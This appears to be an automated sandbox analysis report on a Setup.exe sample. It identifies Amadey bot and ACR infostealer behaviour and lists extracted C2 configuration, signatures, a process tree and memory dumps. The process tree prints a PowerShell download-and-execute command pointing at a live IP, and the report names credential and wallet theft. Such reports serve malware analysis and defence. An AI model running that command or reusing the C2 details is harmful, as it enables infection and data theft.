Analysis

  • max time kernel
    298s
  • max time network
    205s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20251016-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20251016-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/11/2025, 15:01

General

  • Target
    Setup.exe
  • Size 672.3MB
  • Sample251104-sd7dastrdr
  • SHA256 962bdc61115c4f4bbf4a70a01c5adebd457cab719013ab971b6ca09dfb345c84
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://87.120.219.26/CCZT7wMNnD29ie

Extracted

Family
  • amadey

Version
  • 5.70

Botnet
  • 2265ca

C2
  • http://mi.huffproofs.com

Attributes
  • install_dir

    3be1510d5b

  • install_file

    Pwvoqdmgn.exe

  • strings_key

    13416e8592239dcfe754c2affc83cb4f

  • url_paths

    /kaWt2QXfpPueNM/index.php

rc4.plain

Signatures

  • ACR stealer,GrMsk

    ACR stealer (aka GrMsk stealer) is an infostealer written in C++.

  • Acrstealer family
  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Detects Amadey x86-bit Payload 1 IoCs
  • Detects unpacked ACRstealer payload 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4684
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5132
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      2⤵
        PID:5648
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        2⤵
          PID:5636
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe"
          2⤵
            PID:2424
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"
            2⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:5696
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\SysWOW64\rundll32.exe"
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1324
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\SysWOW64\rundll32.exe"
            2⤵
            • System Location Discovery: System Language Discovery
            PID:3940
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 3940 -s 740
              3⤵
              • Program crash
              PID:3752
        • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
          1⤵
            PID:4740
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3940 -ip 3940
            1⤵
              PID:3464

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  Cookies

                  • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                  • Size 20KB
                  • SHA256 f514a6d988a6993e1a2c15bf4d7e19deaa7123a64f166576e450e7d87649e3c0
                  • MD5 SHA1 SHA512 SSDEEP

                  Login Data

                  • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                  • Size 40KB
                  • SHA256 c007da2e5fd780008f28336940b427c3bfd509c72a40bfb7759592149ff3606e
                  • MD5 SHA1 SHA512 SSDEEP

                  Web Data

                  • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                  • Size 130KB
                  • SHA256 0456ffe5b941690ed1d0e38e5fd2576a51e17e0ebd7b033ae38f80ecd3e240d9
                  • MD5 SHA1 SHA512 SSDEEP

                  __PSScriptPolicyTest_x3yxl4iv.0rm.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x3yxl4iv.0rm.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512

                  memory/1324-1762-0x00000000025B0000-0x0000000002602000-memory.dmp

                  memory/1324-1916-0x0000000000400000-0x000000000046F000-memory.dmp

                  memory/1324-1766-0x0000000000720000-0x000000000076C000-memory.dmp

                  memory/1324-1761-0x00000000007F0000-0x00000000007F3000-memory.dmp

                  memory/2424-1754-0x0000024654E00000-0x0000024654E02000-memory.dmp

                  memory/3940-1786-0x00000000037D0000-0x0000000003DE0000-memory.dmp

                  memory/3940-1780-0x00000000037D0000-0x0000000003DE0000-memory.dmp

                  memory/3940-1778-0x0000000001130000-0x0000000001133000-memory.dmp

                  memory/3940-1785-0x00000000037D0000-0x0000000003DE0000-memory.dmp

                  memory/3940-1784-0x00000000037D0000-0x0000000003DE0000-memory.dmp

                  memory/4684-1311-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1178-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1346-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1339-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1332-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1325-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1318-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-0-0x00000000FFC80000-0x00000000FFC81000-memory.dmp

                  memory/4684-1297-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1290-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1283-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1276-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1269-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1262-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1255-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1248-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1241-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1234-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1227-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1220-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1213-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1206-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1199-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1171-0x00000000FFC80000-0x00000000FFC81000-memory.dmp

                  memory/4684-1185-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-22-0x00000000FFC80000-0x00000000FFC81000-memory.dmp

                  memory/4684-1168-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1169-0x00000000778A2000-0x00000000778A3000-memory.dmp

                  memory/4684-1165-0x00000000FFC80000-0x00000000FFC81000-memory.dmp

                  memory/4684-1162-0x00000000FFC80000-0x00000000FFC81000-memory.dmp

                  memory/4684-1159-0x00000000FFC80000-0x00000000FFC81000-memory.dmp

                  memory/4684-1157-0x00000000FFC80000-0x00000000FFC81000-memory.dmp

                  memory/4684-1156-0x00000000FFC80000-0x00000000FFC81000-memory.dmp

                  memory/4684-1406-0x00000000FFE00000-0x00000000FFE1C000-memory.dmp

                  memory/4684-1419-0x00000000FFE30000-0x00000000FFE31000-memory.dmp

                  memory/4684-1420-0x0000000003D80000-0x0000000003D83000-memory.dmp

                  memory/4684-1444-0x0000000003E90000-0x0000000003EAA000-memory.dmp

                  memory/4684-1353-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-3-0x00000000FFC80000-0x00000000FFC81000-memory.dmp

                  memory/4684-1360-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-14-0x00000000FFC80000-0x00000000FFC81000-memory.dmp

                  memory/4684-1371-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1753-0x0000000000400000-0x0000000001BAE000-memory.dmp

                  memory/4684-1378-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1385-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-10-0x00000000FFC80000-0x00000000FFC81000-memory.dmp

                  memory/4684-8-0x00000000FFC80000-0x00000000FFC81000-memory.dmp

                  memory/4684-6-0x00000000FFC80000-0x00000000FFC81000-memory.dmp

                  memory/4684-5-0x00000000FFC80000-0x00000000FFC81000-memory.dmp

                  memory/4684-1393-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1304-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/4684-1192-0x0000000003960000-0x00000000039A2000-memory.dmp

                  memory/5132-1746-0x000001C282CB0000-0x000001C282CB2000-memory.dmp

                  memory/5636-1750-0x000001D8AF1D0000-0x000001D8AF1D2000-memory.dmp

                  memory/5648-1747-0x0000012E0E3E0000-0x0000012E0E3E2000-memory.dmp

                  memory/5696-1788-0x00000000068B0000-0x00000000068FC000-memory.dmp

                  memory/5696-1905-0x0000000006D00000-0x0000000006D1A000-memory.dmp

                  memory/5696-1760-0x0000000005A10000-0x0000000006038000-memory.dmp

                  memory/5696-1759-0x00000000053D0000-0x00000000053E0000-memory.dmp

                  memory/5696-1758-0x00000000052D0000-0x0000000005306000-memory.dmp

                  memory/5696-1757-0x00000000053D0000-0x00000000053E0000-memory.dmp

                  memory/5696-1767-0x00000000059D0000-0x00000000059F2000-memory.dmp

                  memory/5696-1787-0x0000000006890000-0x00000000068AE000-memory.dmp

                  memory/5696-1768-0x00000000061B0000-0x0000000006216000-memory.dmp

                  memory/5696-1777-0x0000000006290000-0x00000000065E4000-memory.dmp

                  memory/5696-1904-0x0000000007FA0000-0x000000000861A000-memory.dmp

                  memory/5696-1907-0x00000000053D0000-0x00000000053E0000-memory.dmp

                  memory/5696-1908-0x00000000053D0000-0x00000000053E0000-memory.dmp

                  memory/5696-1909-0x00000000739A0000-0x0000000074150000-memory.dmp

                  memory/5696-1910-0x000000000D7F0000-0x000000000D886000-memory.dmp

                  memory/5696-1911-0x000000000C750000-0x000000000C772000-memory.dmp

                  memory/5696-1912-0x000000000DE40000-0x000000000E3E4000-memory.dmp

                  memory/5696-1769-0x0000000006220000-0x0000000006286000-memory.dmp